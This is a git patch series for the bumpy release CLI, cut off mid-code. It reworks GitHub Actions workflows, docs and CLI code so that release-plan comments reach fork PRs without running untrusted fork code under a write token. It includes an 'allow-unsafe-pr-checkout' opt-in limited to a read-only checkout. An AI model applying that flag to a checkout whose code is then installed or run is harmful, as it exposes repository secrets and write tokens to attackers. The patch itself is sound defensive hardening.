From 9a81e9bd8e808a078d99e3bfbfc4b95a272974de Mon Sep 17 00:00:00 2001
From: Theo Ephraim <theo@dmno.dev>
Date: Thu, 25 Jun 2026 10:39:42 -0700
Subject: [PATCH 1/4] docs: lead CI check with unprivileged pull_request,
 harden fork-comment workflow for checkout@v7

Invert the PR-check recommendation: the default is now a single `ci check`
step in the existing pull_request workflow (forks get the check but no
comment), with pull_request_target demoted to an opt-in "Commenting on fork
PRs" section.

Apply the actions/checkout@v7 fork-checkout change (enforced now, backported
to floating tags on July 16, 2026): bump checkouts to @v7 and add
allow-unsafe-pr-checkout: true on the read-only ./pr checkout in both the
recommended workflow and our own dogfooding bumpy-check.yaml. Without this the
fork-comment workflow would start failing once the backport lands.

- docs/github-actions.md: restructure + flag fix + 3rd security rule
- docs/prereleases.md: generalize the now-non-default check trigger note
- .github/workflows/bumpy-check.yaml: @v7 + flag on the fork job
---
 .github/workflows/bumpy-check.yaml | 11 +++++---
 docs/github-actions.md             | 43 +++++++++++++++++-------------
 docs/prereleases.md                |  2 +-
 3 files changed, 34 insertions(+), 22 deletions(-)

diff --git a/.github/workflows/bumpy-check.yaml b/.github/workflows/bumpy-check.yaml
index 1633ef5..c26a29d 100644
--- a/.github/workflows/bumpy-check.yaml
+++ b/.github/workflows/bumpy-check.yaml
@@ -28,7 +28,9 @@ jobs:
     if: github.event.pull_request.head.repo.full_name == github.repository
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      # Same-repo PR head — not a fork, so checkout@v7's fork-checkout block
+      # doesn't apply here and no allow-unsafe-pr-checkout flag is needed.
+      - uses: actions/checkout@v7
         with:
           ref: ${{ github.event.pull_request.head.sha }}
           fetch-depth: 0 # history to diff bump files against the PR base branch
@@ -49,16 +51,19 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       # TRUSTED base checkout (main) — bumpy is built and run from here.
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           ref: main
           persist-credentials: false
       # UNTRUSTED PR head into ./pr — only READ via --cwd, never built or run.
-      - uses: actions/checkout@v6
+      # checkout@v7 blocks fork-PR checkout under pull_request_target by default;
+      # allow-unsafe-pr-checkout opts in — safe because ./pr is never run.
+      - uses: actions/checkout@v7
         with:
           ref: ${{ github.event.pull_request.head.sha }}
           path: pr
           persist-credentials: false
+          allow-unsafe-pr-checkout: true
       - uses: oven-sh/setup-bun@v2
       - run: bun install
       - run: bun run --filter @varlock/bumpy build
diff --git a/docs/github-actions.md b/docs/github-actions.md
index 9733d9f..d035471 100644
--- a/docs/github-actions.md
+++ b/docs/github-actions.md
@@ -16,9 +16,23 @@ These commands facilitate the following:
 >
 > The version-resolution shell snippets work as-is regardless of package manager — they only depend on `jq` and `git`, both preinstalled on GitHub-hosted runners.
 
-## PR check workflow
+## PR check
 
-Posts/updates the release-plan comment on every PR, including PRs from forks. **Copy it as-is and you're covered** — it's structured so nothing in a fork PR can influence how bumpy is fetched or run. (If you change `main` to your own base branch, that's the only edit most repos need. See the security notes below before restructuring it.)
+`bumpy ci check` confirms every PR carries a bump file and posts a release-plan comment showing what will be released. The simplest setup is one step in your existing PR workflow (or a new one triggered `on: pull_request`):
+
+```yaml
+- run: bunx @varlock/bumpy ci check
+  env:
+    GH_TOKEN: ${{ github.token }}
+```
+
+Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so none of the privileged-workflow precautions in the next section apply: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
+
+**Fork PRs get the check, but not the comment.** GitHub hands `pull_request` runs from forks a **read-only token and no secrets**, so the comment can't be posted there. `ci check` still runs and fails the job (red ✗) on a missing bump file, with the explanation in the job logs — forks stay gated correctly, you just don't get the rendered comment. For most repos that's the right trade, and it keeps you off `pull_request_target` entirely. If you do want the comment on fork PRs too, set up the dedicated workflow below.
+
+## Commenting on fork PRs
+
+Posting to a PR needs a **write** token, and GitHub only grants one to a fork PR through a privileged trigger — `pull_request_target`. That trigger runs with your write token and secrets **even though the PR is code you don't control**, so the workflow must be structured so nothing in the fork PR can influence what gets fetched or run. The one below does that — copy it as-is (changing only `main` if your base branch differs), and read the security notes before restructuring it.
 
 ```yaml
 # .github/workflows/bumpy-check.yaml
@@ -38,17 +52,21 @@ jobs:
       #    here, so the package-manager config in effect (bunfig.toml, .npmrc)
       #    is YOURS, not the PR's. Hardcoded "main" (the PR controls its own
       #    base ref); change it to your base branch.
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           ref: main
           persist-credentials: false
 
       # 2. UNTRUSTED PR head into ./pr — only READ from here, never run it.
-      - uses: actions/checkout@v6
+      #    actions/checkout@v7 refuses to fetch fork PR code under
+      #    pull_request_target by default; `allow-unsafe-pr-checkout` opts back
+      #    in. It's safe HERE only because ./pr is never installed or run.
+      - uses: actions/checkout@v7
         with:
           ref: ${{ github.event.pull_request.head.sha }}
           path: pr
           persist-credentials: false
+          allow-unsafe-pr-checkout: true
 
       - uses: oven-sh/setup-bun@v2
 
@@ -69,10 +87,11 @@ jobs:
 
 ### ⚠️ Security essentials
 
-`pull_request_target` carries a **write token and secrets even on fork PRs** — that's what lets it comment on forks, and why a PR author must never be able to influence what runs. The workflow above handles this; two rules to preserve if you adapt it:
+`pull_request_target` carries a **write token and secrets even on fork PRs** — that's what lets it comment on forks, and why a PR author must never be able to influence what runs. The workflow above handles this; three rules to preserve if you adapt it:
 
 - **Never execute PR code** — no `bun install` / `npm install` (postinstall scripts run), no `bun run <script>` / `npm test`, no building from the PR tree.
 - **Fetch and run bumpy from the trusted base checkout; only _read_ the PR tree** via `--cwd ./pr`. Keep `persist-credentials: false` on both checkouts.
+- **Keep `allow-unsafe-pr-checkout: true` on the `./pr` checkout only.** Since [June 2026](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/), `actions/checkout` refuses to fetch fork PR code under `pull_request_target` unless you set this deliberately-conspicuous flag (enforced on `@v7` now, and backported to floating tags like `@v6` on July 16, 2026). It's correct here _because_ `./pr` is read-only data — never add it to a checkout whose code you then install or run.
 
 As a guardrail, `bumpy ci check` **fails** if it runs under `pull_request_target` without an explicit `--cwd` — so an outdated single-checkout workflow surfaces loudly instead of silently staying exploitable. If the working directory is genuinely trusted (e.g. a same-repo, non-fork PR), pass `--cwd .` to acknowledge it. (This is a migration nudge, not a security boundary: a PR that actually hijacked resolution would be running its own bumpy. The fix is the two-checkout layout above.)
 
@@ -128,19 +147,7 @@ The workflow above is already written to avoid the other relevant query, **`acti
 
 > **Safety invariant.** The data-only guarantee rests on one rule: **`bumpy ci check` never executes code from its `--cwd` target.** It does not build, run lifecycle/postinstall scripts, or dynamically `import`/`require` any file under that path — it only parses them as data (`.bumpy/*.md`, `package.json`, JSON config). The current implementation upholds this: `ci check` reads JSON/YAML and shells out to `git`/`gh` only, and bumpy's two code-loading paths (custom changelog formatters, custom commit-message modules) are reachable exclusively from `bumpy version` / `bumpy publish` / `ci release`, never from `ci check`.
 
-> **Want zero alerts?** A stricter pattern runs the check on the plain (unprivileged) `pull_request` event and posts the comment from a separate `workflow_run` job via an uploaded artifact — fully green with no dismissals, but considerably more machinery for a release-plan comment. The single-workflow, data-only pattern above plus the one documented dismissal is the intended recommendation.
-
-### Don't need fork PR support?
-
-If you don't care about posting comments on external/fork PRs (private repo, internal-only contributors, etc.), you can skip the separate workflow entirely. Just add a step to your existing `pull_request` CI workflow:
-
-```yaml
-- run: bunx @varlock/bumpy ci check
-  env:
-    GH_TOKEN: ${{ github.token }}
-```
-
-Make sure the job has `permissions: pull-requests: write`. Since `pull_request` runs in a non-privileged context, all the "no installs / no PR scripts" rules above don't apply — you can `bun install` and run bumpy from your devDeps like any other CLI. The trade-off: fork PRs won't get a comment (the check still runs and fails red on missing bump files, just without the helpful explanation).
+> **Want zero alerts?** The simplest path is the [default PR check](#pr-check) at the top — it runs on plain `pull_request` with no untrusted checkout, so CodeQL has nothing to flag (forks just don't get the comment). If you need the fork comment _and_ zero dismissals, run the check on the unprivileged `pull_request` event and post the comment from a separate `workflow_run` job via an uploaded artifact — fully green, but considerably more machinery for a release-plan comment. The single-workflow, data-only pattern above plus the one documented dismissal is the intended middle ground.
 
 ## Release workflow (recommended: split jobs)
 
diff --git a/docs/prereleases.md b/docs/prereleases.md
index d65d734..96d8270 100644
--- a/docs/prereleases.md
+++ b/docs/prereleases.md
@@ -141,7 +141,7 @@ That's the only workflow change. `bumpy ci release` reads the current branch, lo
 
 > Make sure the checkout step uses `fetch-depth: 0` (the [release workflow](github-actions.md) already requires this) — the channel publish trigger diffs the triggering push to detect release PR merges.
 
-> The PR check workflow (`bumpy-check.yaml`) needs no changes — it runs on `pull_request_target` and handles any base branch.
+> The PR check needs no changes for channels — `bumpy ci check` detects the PR's base branch automatically, whether it runs as a step in your normal `pull_request` workflow or in the dedicated `pull_request_target` workflow for [fork-PR comments](github-actions.md#commenting-on-fork-prs).
 
 ---
 

From 383a2ed8a698661155435d52079dccb6aa55f175 Mon Sep 17 00:00:00 2001
From: Theo Ephraim <theo@dmno.dev>
Date: Thu, 25 Jun 2026 16:46:17 -0700
Subject: [PATCH 2/4] feat: post fork-PR comments via pull_request +
 workflow_run split
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Add a safer way to comment on fork PRs than the privileged
pull_request_target workflow: run `ci check` in the normal (unprivileged)
pull_request workflow, and post the comment from a separate workflow_run
job whose privileged half never touches fork code or files.

CLI:
- `ci check --emit-comment <dir>` renders the comment to <dir>/comment.md
  (seeds an empty file so the artifact is always present) instead of only
  posting it.
- new `ci comment --body-file <path>` posts a pre-rendered body. It resolves
  the target PR from the TRUSTED workflow_run event (head_sha → PR lookup),
  never from the (fork-influenced) artifact, and treats the body as data.
  Sets GH_REPO from GITHUB_REPOSITORY so it runs without a checkout.

Docs: make the pull_request + workflow_run split the recommended fork-comment
setup; demote the single-file pull_request_target workflow to an alternative.

Dogfood: replace the pull_request_target bumpy-check.yaml (two jobs) with a
single pull_request check that emits + uploads the artifact, plus a new
bumpy-comment.yaml (workflow_run) that builds main's bumpy and posts.

Tests: resolveTargetPrNumber derives the PR from the event head_sha (and
ignores a hostile PR ref in the body); ci comment no-ops on a missing/empty
body. Adds a minor bump for @varlock/bumpy.
---
 .bumpy/fork-comment-workflow-run-split.md   |   5 +
 .github/workflows/bumpy-check.yaml          |  72 +++--------
 .github/workflows/bumpy-comment.yaml        |  40 ++++++
 .github/workflows/ci.yaml                   |   3 +-
 docs/github-actions.md                      |  76 ++++++++++-
 docs/prereleases.md                         |   2 +-
 packages/bumpy/src/cli.ts                   |  31 ++++-
 packages/bumpy/src/commands/ci.ts           | 135 ++++++++++++++++++--
 packages/bumpy/test/core/ci-comment.test.ts | 127 ++++++++++++++++++
 9 files changed, 414 insertions(+), 77 deletions(-)
 create mode 100644 .bumpy/fork-comment-workflow-run-split.md
 create mode 100644 .github/workflows/bumpy-comment.yaml
 create mode 100644 packages/bumpy/test/core/ci-comment.test.ts

diff --git a/.bumpy/fork-comment-workflow-run-split.md b/.bumpy/fork-comment-workflow-run-split.md
new file mode 100644
index 0000000..b5aa73a
--- /dev/null
+++ b/.bumpy/fork-comment-workflow-run-split.md
@@ -0,0 +1,5 @@
+---
+'@varlock/bumpy': minor
+---
+
+Add a `pull_request` + `workflow_run` option for commenting on fork PRs, so the privileged half never touches fork code. `bumpy ci check --emit-comment <dir>` renders the release-plan comment to `<dir>/comment.md` for upload as an artifact, and a new `bumpy ci comment --body-file <path>` posts it from a `workflow_run` job. The target PR is resolved from the trusted `workflow_run` event (`head_sha`), never from the (untrusted) artifact.
diff --git a/.github/workflows/bumpy-check.yaml b/.github/workflows/bumpy-check.yaml
index c26a29d..436e40b 100644
--- a/.github/workflows/bumpy-check.yaml
+++ b/.github/workflows/bumpy-check.yaml
@@ -1,74 +1,38 @@
-# 🐸 Bumpy CI check
-# checks for missing bump files and posts/updates a PR comment with the release plan
+# 🐸 Bumpy CI check (dogfood)
+# Runs our own unreleased bumpy on every PR and renders the release-plan comment as an
+# artifact. Runs on the UNPRIVILEGED `pull_request` event, so it's safe to build and run
+# the PR's own bumpy (fork or not) — there's no write token or secrets to protect here.
+# Posting the comment on fork PRs is the privileged half and lives in bumpy-comment.yaml
+# (workflow_run). A normal project just adds
+#   bunx @varlock/bumpy ci check --emit-comment ./bumpy-comment
+# to its existing CI workflow.
 #
-# ⚠️ NOTE - DO NOT COPY THIS FILE
-# instead look at the recommended workflow in the docs
+# ⚠️ DO NOT COPY THIS FILE — see the recommended setup in the docs:
 # ➡️ https://bumpy.varlock.dev/blob/main/docs/github-actions.md ⬅️
-#
-# This repo builds and runs its OWN unreleased bumpy so we dogfood the current
-# CLI on every PR. Two jobs, split by trust level:
-#   - non-fork PRs build and run the PR's OWN bumpy, so a PR previews its own
-#     ci-check changes. Safe because the code comes from this repo.
-#   - fork PRs build and run MAIN's bumpy and only READ the PR via `--cwd ./pr`,
-#     so no untrusted code ever touches the pull_request_target write token.
-# A normal project just runs `bunx @varlock/bumpy@latest ci check --cwd ./pr`.
-
 name: Bumpy Check
 
-on: pull_request_target # < necessary so it can post comments on fork PRs
+on: pull_request
 
 permissions:
-  pull-requests: write
+  pull-requests: write # same-repo PRs comment directly; fork PRs are read-only (the poster handles those)
   contents: read
 
 jobs:
-  # Non-fork PRs (trusted): build and run the PR's OWN bumpy so it dogfoods its
-  # own changes. `--cwd .` acknowledges that the current checkout is trusted.
-  check-local:
-    if: github.event.pull_request.head.repo.full_name == github.repository
+  check:
     runs-on: ubuntu-latest
     steps:
-      # Same-repo PR head — not a fork, so checkout@v7's fork-checkout block
-      # doesn't apply here and no allow-unsafe-pr-checkout flag is needed.
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event.pull_request.head.sha }}
           fetch-depth: 0 # history to diff bump files against the PR base branch
       - uses: oven-sh/setup-bun@v2
       - run: bun install
-      # Build first since we run the local built version of bumpy.
       - run: bun run --filter @varlock/bumpy build
-      # Re-install so the freshly-built CLI bin is linked.
-      - run: bun install
-      - run: bunx @varlock/bumpy ci check --cwd .
+      - run: bun install # link the freshly-built CLI bin
+      - run: bunx @varlock/bumpy ci check --emit-comment ./bumpy-comment
         env:
           GH_TOKEN: ${{ github.token }}
-
-  # Fork PRs (untrusted): build and run MAIN's bumpy from a trusted checkout and
-  # only READ the PR head via `--cwd ./pr` — never install/build/run fork code.
-  check-fork:
-    if: github.event.pull_request.head.repo.full_name != github.repository
-    runs-on: ubuntu-latest
-    steps:
-      # TRUSTED base checkout (main) — bumpy is built and run from here.
-      - uses: actions/checkout@v7
+      - uses: actions/upload-artifact@v4
+        if: always() # upload even when the check fails — the comment explains why
         with:
-          ref: main
-          persist-credentials: false
-      # UNTRUSTED PR head into ./pr — only READ via --cwd, never built or run.
-      # checkout@v7 blocks fork-PR checkout under pull_request_target by default;
-      # allow-unsafe-pr-checkout opts in — safe because ./pr is never run.
-      - uses: actions/checkout@v7
-        with:
-          ref: ${{ github.event.pull_request.head.sha }}
-          path: pr
-          persist-credentials: false
-          allow-unsafe-pr-checkout: true
-      - uses: oven-sh/setup-bun@v2
-      - run: bun install
-      - run: bun run --filter @varlock/bumpy build
-      - run: bun install
-      # bunx runs from the trusted root; bumpy reads the PR's bump files via --cwd.
-      - run: bunx @varlock/bumpy ci check --cwd ./pr
-        env:
-          GH_TOKEN: ${{ github.token }}
+          name: bumpy-comment
+          path: ./bumpy-comment
diff --git a/.github/workflows/bumpy-comment.yaml b/.github/workflows/bumpy-comment.yaml
new file mode 100644
index 0000000..f1ff705
--- /dev/null
+++ b/.github/workflows/bumpy-comment.yaml
@@ -0,0 +1,40 @@
+# 🐸 Bumpy PR comment (dogfood)
+# Privileged half of the fork-comment split: posts the release-plan comment that
+# bumpy-check.yaml rendered. Triggered after that workflow completes. It NEVER checks
+# out or runs PR code — it builds MAIN's bumpy and posts a pre-rendered body to the PR
+# it resolves from the trusted workflow_run.head_sha. A normal project would just run
+# `bunx @varlock/bumpy ci comment` instead of building from source.
+#
+# ⚠️ DO NOT COPY THIS FILE — see the recommended setup in the docs:
+# ➡️ https://bumpy.varlock.dev/blob/main/docs/github-actions.md ⬅️
+name: Bumpy PR Comment
+
+on:
+  workflow_run:
+    workflows: ['Bumpy Check']
+    types: [completed]
+
+permissions:
+  pull-requests: write
+
+jobs:
+  comment:
+    runs-on: ubuntu-latest
+    steps:
+      # TRUSTED: default branch (main) only — never the PR. Build our own bumpy.
+      - uses: actions/checkout@v7
+      - uses: oven-sh/setup-bun@v2
+      - run: bun install
+      - run: bun run --filter @varlock/bumpy build
+      - run: bun install # link the freshly-built CLI bin
+      # Download AFTER checkout — checkout cleans the workspace and would wipe it.
+      - uses: actions/download-artifact@v4
+        continue-on-error: true # the check may not have produced a comment
+        with:
+          name: bumpy-comment
+          path: ./bumpy-comment
+          run-id: ${{ github.event.workflow_run.id }}
+          github-token: ${{ github.token }}
+      - run: bunx @varlock/bumpy ci comment --body-file ./bumpy-comment/comment.md
+        env:
+          GH_TOKEN: ${{ github.token }}
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index b05ffaf..da8b7e7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -14,5 +14,6 @@ jobs:
       - run: git config --global user.name "CI" && git config --global user.email "ci@example.com"
       - run: bun run test
 
-      # NOTE: `bumpy ci check` lives in .github/workflows/bumpy-check.yaml
+      # NOTE: `bumpy ci check` runs in .github/workflows/bumpy-check.yaml (pull_request),
+      # and the fork-PR comment is posted from .github/workflows/bumpy-comment.yaml (workflow_run).
       # see ➡️ https://bumpy.varlock.dev/blob/main/docs/github-actions.md ⬅️
diff --git a/docs/github-actions.md b/docs/github-actions.md
index d035471..7487d30 100644
--- a/docs/github-actions.md
+++ b/docs/github-actions.md
@@ -28,11 +28,77 @@ These commands facilitate the following:
 
 Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so none of the privileged-workflow precautions in the next section apply: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
 
-**Fork PRs get the check, but not the comment.** GitHub hands `pull_request` runs from forks a **read-only token and no secrets**, so the comment can't be posted there. `ci check` still runs and fails the job (red ✗) on a missing bump file, with the explanation in the job logs — forks stay gated correctly, you just don't get the rendered comment. For most repos that's the right trade, and it keeps you off `pull_request_target` entirely. If you do want the comment on fork PRs too, set up the dedicated workflow below.
+**Fork PRs get the check, but not the comment.** GitHub hands `pull_request` runs from forks a **read-only token and no secrets**, so the comment can't be posted there. `ci check` still runs and fails the job (red ✗) on a missing bump file, with the explanation in the job logs — forks stay gated correctly, you just don't get the rendered comment. For most repos that's the right trade. If you want the comment on fork PRs too, add the two-part setup below.
 
 ## Commenting on fork PRs
 
-Posting to a PR needs a **write** token, and GitHub only grants one to a fork PR through a privileged trigger — `pull_request_target`. That trigger runs with your write token and secrets **even though the PR is code you don't control**, so the workflow must be structured so nothing in the fork PR can influence what gets fetched or run. The one below does that — copy it as-is (changing only `main` if your base branch differs), and read the security notes before restructuring it.
+A comment is a **write**, and GitHub never gives a `pull_request` run from a fork a write token (read-only at issuance, secrets withheld). So the comment has to be posted from a privileged run in the base-repo context. The safest way is a two-part split where the privileged half **never touches the fork's code or files**:
+
+1. Your existing `pull_request` check **renders** the comment and uploads it as an artifact.
+2. A small, separate `workflow_run` workflow downloads that artifact and **posts** it.
+
+The poster never checks out the PR, never runs a package manager against fork config, and never reads a fork file — it only posts pre-rendered text. Nothing to harden, no CodeQL alert to dismiss.
+
+### 1. Render + upload (in your existing check)
+
+Add `--emit-comment` to the `ci check` step and upload what it writes:
+
+```yaml
+# in your existing `on: pull_request` job
+- run: bunx @varlock/bumpy ci check --emit-comment ./bumpy-comment
+  env:
+    GH_TOKEN: ${{ github.token }}
+- uses: actions/upload-artifact@v4
+  if: always() # upload even when the check fails — the comment explains why
+  with:
+    name: bumpy-comment
+    path: ./bumpy-comment
+```
+
+`--emit-comment` writes the rendered comment to `./bumpy-comment/comment.md` (an empty file when there's nothing to say, so the artifact is always present). This step stays unprivileged — on a fork PR it renders but can't post; same-repo PRs still comment directly from here. The poster below is what rescues forks.
+
+### 2. Post it (a separate workflow_run workflow)
+
+```yaml
+# .github/workflows/bumpy-comment.yaml
+name: Bumpy PR Comment
+on:
+  workflow_run:
+    workflows: ['CI'] # ← the NAME of the workflow that runs your check
+    types: [completed]
+permissions:
+  pull-requests: write
+
+jobs:
+  comment:
+    runs-on: ubuntu-latest
+    steps:
+      # TRUSTED: default branch only — never the PR. This is the privileged half.
+      - uses: actions/checkout@v7
+      - uses: oven-sh/setup-bun@v2
+      - uses: actions/download-artifact@v4
+        continue-on-error: true # the check may not have produced a comment
+        with:
+          name: bumpy-comment
+          path: ./bumpy-comment
+          run-id: ${{ github.event.workflow_run.id }}
+          github-token: ${{ github.token }}
+      - run: |
+          VERSION=$(jq -r '.devDependencies["@varlock/bumpy"] // .dependencies["@varlock/bumpy"]' package.json | sed 's/[\^~]//')
+          bunx "@varlock/bumpy@$VERSION" ci comment --body-file ./bumpy-comment/comment.md
+        env:
+          GH_TOKEN: ${{ github.token }}
+```
+
+Point `workflows: [...]` at the **name** of whatever runs your check (your existing CI workflow, or a dedicated one). When it finishes, GitHub triggers this poster, which posts the rendered comment and exits. No bump-file changes → `ci comment` no-ops.
+
+> **The one safety rule.** The uploaded artifact is **untrusted** — it came from a run that executed fork code, so its contents are attacker-controlled. `bumpy ci comment` uses the body only as comment text and resolves the **target PR from the trusted `workflow_run` event** (`head_sha`), never from the artifact — that's what stops a fork from redirecting the comment onto a different PR or issue. Don't override it with a `--pr` derived from artifact data.
+
+> **Why can't the fork run post it itself?** A fork's `pull_request` token is read-only at issuance and enforced server-side — REST, GraphQL, `gh`, and raw `curl` all 403 on a comment write, and secrets aren't exposed either. The write has to originate from a privileged base-repo run, which is exactly what `workflow_run` provides.
+
+### Alternative: a single `pull_request_target` workflow
+
+If you'd rather have one file than two, a single privileged `pull_request_target` workflow can both read the PR and post the comment. It's more setup-sensitive — it checks out the (untrusted) PR head into a privileged job, so it must be carefully structured never to execute it, and it trips a CodeQL alert you have to dismiss. The `workflow_run` split above avoids all of that; prefer it unless one-file simplicity matters more to you. Copy it as-is (changing only `main` if your base branch differs), and keep the security notes intact.
 
 ```yaml
 # .github/workflows/bumpy-check.yaml
@@ -85,7 +151,7 @@ jobs:
           GH_TOKEN: ${{ github.token }}
 ```
 
-### ⚠️ Security essentials
+#### ⚠️ Security essentials
 
 `pull_request_target` carries a **write token and secrets even on fork PRs** — that's what lets it comment on forks, and why a PR author must never be able to influence what runs. The workflow above handles this; three rules to preserve if you adapt it:
 
@@ -137,7 +203,7 @@ You can also pin the version directly (`bunx @varlock/bumpy@1.2.3 ci check --cwd
 
 </details>
 
-### Code scanning (CodeQL) alerts
+#### Code scanning (CodeQL) alerts
 
 CodeQL's default setup runs GitHub's Actions security queries, so adopters of this workflow will see one alert worth understanding:
 
@@ -147,7 +213,7 @@ The workflow above is already written to avoid the other relevant query, **`acti
 
 > **Safety invariant.** The data-only guarantee rests on one rule: **`bumpy ci check` never executes code from its `--cwd` target.** It does not build, run lifecycle/postinstall scripts, or dynamically `import`/`require` any file under that path — it only parses them as data (`.bumpy/*.md`, `package.json`, JSON config). The current implementation upholds this: `ci check` reads JSON/YAML and shells out to `git`/`gh` only, and bumpy's two code-loading paths (custom changelog formatters, custom commit-message modules) are reachable exclusively from `bumpy version` / `bumpy publish` / `ci release`, never from `ci check`.
 
-> **Want zero alerts?** The simplest path is the [default PR check](#pr-check) at the top — it runs on plain `pull_request` with no untrusted checkout, so CodeQL has nothing to flag (forks just don't get the comment). If you need the fork comment _and_ zero dismissals, run the check on the unprivileged `pull_request` event and post the comment from a separate `workflow_run` job via an uploaded artifact — fully green, but considerably more machinery for a release-plan comment. The single-workflow, data-only pattern above plus the one documented dismissal is the intended middle ground.
+> **Want zero alerts?** Use the [`workflow_run` split](#commenting-on-fork-prs) above instead — its privileged half never checks out PR code, so there's no `untrusted-checkout` alert and nothing to dismiss. This single-`pull_request_target` workflow is the one-file alternative, and the dismissal here is the cost of that simplicity.
 
 ## Release workflow (recommended: split jobs)
 
diff --git a/docs/prereleases.md b/docs/prereleases.md
index 96d8270..1d7097f 100644
--- a/docs/prereleases.md
+++ b/docs/prereleases.md
@@ -141,7 +141,7 @@ That's the only workflow change. `bumpy ci release` reads the current branch, lo
 
 > Make sure the checkout step uses `fetch-depth: 0` (the [release workflow](github-actions.md) already requires this) — the channel publish trigger diffs the triggering push to detect release PR merges.
 
-> The PR check needs no changes for channels — `bumpy ci check` detects the PR's base branch automatically, whether it runs as a step in your normal `pull_request` workflow or in the dedicated `pull_request_target` workflow for [fork-PR comments](github-actions.md#commenting-on-fork-prs).
+> The PR check needs no changes for channels — `bumpy ci check` detects the PR's base branch automatically, however you've wired it up (a step in your normal `pull_request` workflow, or the [fork-PR comment setup](github-actions.md#commenting-on-fork-prs)).
 
 ---
 
diff --git a/packages/bumpy/src/cli.ts b/packages/bumpy/src/cli.ts
index 2a1ec52..a6cf23d 100644
--- a/packages/bumpy/src/cli.ts
+++ b/packages/bumpy/src/cli.ts
@@ -118,10 +118,22 @@ async function main() {
       }
 
       case 'ci': {
-        const rootDir = await findRoot();
         const subcommand = args[1];
         const ciFlags = parseFlags(args.slice(2));
 
+        // `ci comment` only posts a pre-rendered body — it never reads the workspace,
+        // so it needs no bumpy root and runs fine in a checkout-less poster workflow.
+        if (subcommand === 'comment') {
+          const { ciCommentCommand } = await import('./commands/ci.ts');
+          await ciCommentCommand(process.cwd(), {
+            bodyFile: ciFlags['body-file'] as string | undefined,
+            pr: ciFlags.pr as string | undefined,
+          });
+          break;
+        }
+
+        const rootDir = await findRoot();
+
         if (subcommand === 'check') {
           // Nudge users still on the old single-checkout pull_request_target
           // workflow toward the two-checkout + --cwd pattern. See ./utils/cwd.ts.
@@ -133,11 +145,17 @@ async function main() {
             log.error(cwdError);
             process.exit(1);
           }
+          const emitComment = ciFlags['emit-comment'];
+          if (emitComment === true) {
+            log.error('--emit-comment requires a directory argument.');
+            process.exit(1);
+          }
           const { ciCheckCommand } = await import('./commands/ci.ts');
           await ciCheckCommand(rootDir, {
             comment: ciFlags.comment !== undefined ? ciFlags.comment === true : undefined,
             strict: ciFlags.strict === true,
             noFail: ciFlags['no-fail'] === true,
+            emitComment: typeof emitComment === 'string' ? emitComment : undefined,
           });
         } else if (subcommand === 'plan') {
           const { ciPlanCommand } = await import('./commands/ci.ts');
@@ -167,7 +185,9 @@ async function main() {
           const { ciSetupCommand } = await import('./commands/ci-setup.ts');
           await ciSetupCommand(rootDir);
         } else {
-          log.error(`Unknown ci subcommand: ${subcommand}. Use "ci check", "ci plan", "ci release", or "ci setup".`);
+          log.error(
+            `Unknown ci subcommand: ${subcommand}. Use "ci check", "ci comment", "ci plan", "ci release", or "ci setup".`,
+          );
           process.exit(1);
         }
         break;
@@ -238,6 +258,7 @@ function printHelp() {
     publish                 Publish versioned packages
                             (on a channel branch: derives prerelease versions and publishes to the channel dist-tag)
     ci check                PR check — report pending releases, comment on PR
+    ci comment              Post a pre-rendered comment (workflow_run half of the fork-comment split)
     ci plan                 Report what ci release would do (JSON + GitHub Actions outputs)
     ci release              Release — create version PR or auto-publish
     ci setup                Set up a token for triggering CI on version PRs
@@ -276,6 +297,12 @@ function printHelp() {
     --comment               Force PR comment on/off (auto-detected in CI)
     --strict                Fail if any changed package is uncovered (default: only fail if no bump files at all)
     --no-fail               Warn only, never exit 1
+    --emit-comment <dir>    Also write the rendered comment to <dir>/comment.md, for a
+                            downstream "ci comment" to post (fork-comment split — see docs)
+
+  CI comment options:
+    --body-file <path>      Path to the rendered comment body (from "ci check --emit-comment")
+    --pr <number>           Target PR (default: resolved from the workflow_run event)
 
   CI release options:
     --expect-mode <mode>    Assert detected mode: "version-pr" or "publish" (errors if mismatched)
diff --git a/packages/bumpy/src/commands/ci.ts b/packages/bumpy/src/commands/ci.ts
index 68530a5..c8cd483 100644
--- a/packages/bumpy/src/commands/ci.ts
+++ b/packages/bumpy/src/commands/ci.ts
@@ -19,6 +19,7 @@ import { randomName } from '../utils/names.ts';
 import { detectPackageManager } from '../utils/package-manager.ts';
 import { createHash } from 'node:crypto';
 import { appendFileSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs';
+import { resolve } from 'node:path';
 import { resolveCommitMessage } from '../core/commit-message.ts';
 import type { BumpyConfig, BumpFile, PackageConfig, PackageManager, ReleasePlan, PlannedRelease } from '../types.ts';
 
@@ -87,6 +88,26 @@ interface CheckOptions {
   comment?: boolean; // post a PR comment via gh (default: true in CI)
   strict?: boolean; // exit 1 if any changed packages are uncovered
   noFail?: boolean; // never exit 1, warn only
+  emitComment?: string; // also write the rendered comment to <dir>/comment.md for a downstream `ci comment`
+}
+
+const COMMENT_ARTIFACT_FILE = 'comment.md';
+
+/**
+ * Ensure the emit dir exists with an (empty) comment file. Called up-front so the
+ * artifact is deterministically present for the `workflow_run` poster even when this
+ * run makes no comment (no bump-file changes, release-PR branch, etc.) — the poster
+ * then no-ops on the empty file instead of failing to download a missing artifact.
+ */
+function initCommentArtifact(dir: string): void {
+  mkdirSync(dir, { recursive: true });
+  writeFileSync(resolve(dir, COMMENT_ARTIFACT_FILE), '', 'utf-8');
+}
+
+/** Write the rendered comment body to the emit dir for a downstream `ci comment`. */
+function writeCommentArtifact(dir: string, body: string): void {
